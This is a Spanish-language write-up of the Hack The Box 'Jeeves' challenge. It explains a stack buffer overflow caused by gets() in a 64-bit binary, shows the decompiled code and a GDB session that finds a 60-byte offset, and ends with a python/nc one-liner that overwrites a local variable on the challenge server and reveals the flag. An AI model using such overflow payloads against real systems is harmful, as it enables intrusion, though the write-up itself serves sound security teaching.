Jeeves
4 minutos de lectura
Se nos proporciona un binario de 64 bits llamado jeeves
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Podemos usar Ghidra para analizar el binario y echar un vistazo al código en C descompilado. Este es el main
:
int main() {
char name[44];
int fd;
void *data;
uint code;
code = 0xdeadc0d3;
printf("Hello, good sir!\nMay I have your name? ");
gets(name);
printf("Hello %s, hope you have a good day!\n", name);
if (code == 0x1337bab3) {
data = malloc(0x100);
fd = open("flag.txt", 0);
read(fd, data, 0x100);
printf("Pleased to make your acquaintance. Here\'s a small gift: %s\n", data);
close(fd);
}
return 0;
}
Este binario es vulnerable a Buffer Overflow ya que la variable name
tiene 44 bytes asignados como buffer, pero el programa usa gets
, que es una función insegura ya que no limita la longitud de los datos de entrada, desbordando así el buffer reservado si el tamaño de los datos de entrada es mayor de 44 bytes.
Podemos comprobar que el programa se rompe en esta situación:
$ ./jeeves
Hello, good sir!
May I have your name? asdf
Hello asdf, hope you have a good day!
$ ./jeeves
Hello, good sir!
May I have your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, hope you have a good day!
zsh: segmentation fault (core dumped) ./jeeves
El programa se rompe porque hemos sobrescrito la dirección de retorno guardada en la pila y, cuando el programa intenta retornar, encuentra una dirección de memoria inválida.
Sin embargo, el objetivo de este reto es modificar la variable llamada code
y obtener la flag, no podremos conseguir una shell (las protecciones activas dificultan mucho esta tarea).
Vamos a usar GDB para encontrar el offset al valor que queremos. Una manera de hacer esto es poniendo un breakpoint en la instrucción cmp
y usando un patrón:
$ gdb -q jeeves
Reading symbols from jeeves...
(No debugging symbols found in jeeves)
gef➤ disassemble main
Dump of assembler code for function main:
0x00000000000011e9 <+0>: endbr64
0x00000000000011ed <+4>: push rbp
0x00000000000011ee <+5>: mov rbp,rsp
0x00000000000011f1 <+8>: sub rsp,0x40
0x00000000000011f5 <+12>: mov DWORD PTR [rbp-0x4],0xdeadc0d3
0x00000000000011fc <+19>: lea rdi,[rip+0xe05] # 0x2008
0x0000000000001203 <+26>: mov eax,0x0
0x0000000000001208 <+31>: call 0x10a0 <printf@plt>
0x000000000000120d <+36>: lea rax,[rbp-0x40]
0x0000000000001211 <+40>: mov rdi,rax
0x0000000000001214 <+43>: mov eax,0x0
0x0000000000001219 <+48>: call 0x10d0 <gets@plt>
0x000000000000121e <+53>: lea rax,[rbp-0x40]
0x0000000000001222 <+57>: mov rsi,rax
0x0000000000001225 <+60>: lea rdi,[rip+0xe04] # 0x2030
0x000000000000122c <+67>: mov eax,0x0
0x0000000000001231 <+72>: call 0x10a0 <printf@plt>
0x0000000000001236 <+77>: cmp DWORD PTR [rbp-0x4],0x1337bab3
0x000000000000123d <+84>: jne 0x12a8 <main+191>
0x000000000000123f <+86>: mov edi,0x100
0x0000000000001244 <+91>: call 0x10e0 <malloc@plt>
0x0000000000001249 <+96>: mov QWORD PTR [rbp-0x10],rax
0x000000000000124d <+100>: mov esi,0x0
0x0000000000001252 <+105>: lea rdi,[rip+0xdfc] # 0x2055
0x0000000000001259 <+112>: mov eax,0x0
0x000000000000125e <+117>: call 0x10f0 <open@plt>
0x0000000000001263 <+122>: mov DWORD PTR [rbp-0x14],eax
0x0000000000001266 <+125>: mov rcx,QWORD PTR [rbp-0x10]
0x000000000000126a <+129>: mov eax,DWORD PTR [rbp-0x14]
0x000000000000126d <+132>: mov edx,0x100
0x0000000000001272 <+137>: mov rsi,rcx
0x0000000000001275 <+140>: mov edi,eax
0x0000000000001277 <+142>: mov eax,0x0
0x000000000000127c <+147>: call 0x10c0 <read@plt>
0x0000000000001281 <+152>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000001285 <+156>: mov rsi,rax
0x0000000000001288 <+159>: lea rdi,[rip+0xdd1] # 0x2060
0x000000000000128f <+166>: mov eax,0x0
0x0000000000001294 <+171>: call 0x10a0 <printf@plt>
0x0000000000001299 <+176>: mov eax,DWORD PTR [rbp-0x14]
0x000000000000129c <+179>: mov edi,eax
0x000000000000129e <+181>: mov eax,0x0
0x00000000000012a3 <+186>: call 0x10b0 <close@plt>
0x00000000000012a8 <+191>: mov eax,0x0
0x00000000000012ad <+196>: leave
0x00000000000012ae <+197>: ret
End of assembler dump.
gef➤ break *main+77
Breakpoint 1 at 0x1236
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./jeeves
Hello, good sir!
May I have your name? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
Hello aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa, hope you have a good day!
Breakpoint 1, 0x0000555555555236 in main ()
gef➤ x/i $rip
=> 0x555555555236 <main+77>: cmp DWORD PTR [rbp-0x4],0x1337bab3
gef➤ x/gx $rbp-0x4
0x7fffffffe68c: 0x6161616961616161
gef➤ pattern offset 0x6161616961616161
[+] Searching for '0x6161616961616161'
[+] Found at offset 60 (little-endian search) likely
[+] Found at offset 61 (big-endian search)
Vemos que podemos modificar el valor de code
introduciendo 60 bytes y luego el valor que queremos (evidentemente, 0x1337bab3
en formato little-endian):
$ python3 -c 'from pwn import os, p64; os.write(1, b"A" * 60 + p64(0x1337bab3) + b"\n")' | nc 178.128.46.251 32023
Hello, good sir!
May I have your name? Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7, hope you have a good day!
Pleased to make your acquaintance. Here's a small gift: HTB{w3lc0me_t0_lAnd_0f_pwn_&_pa1n!}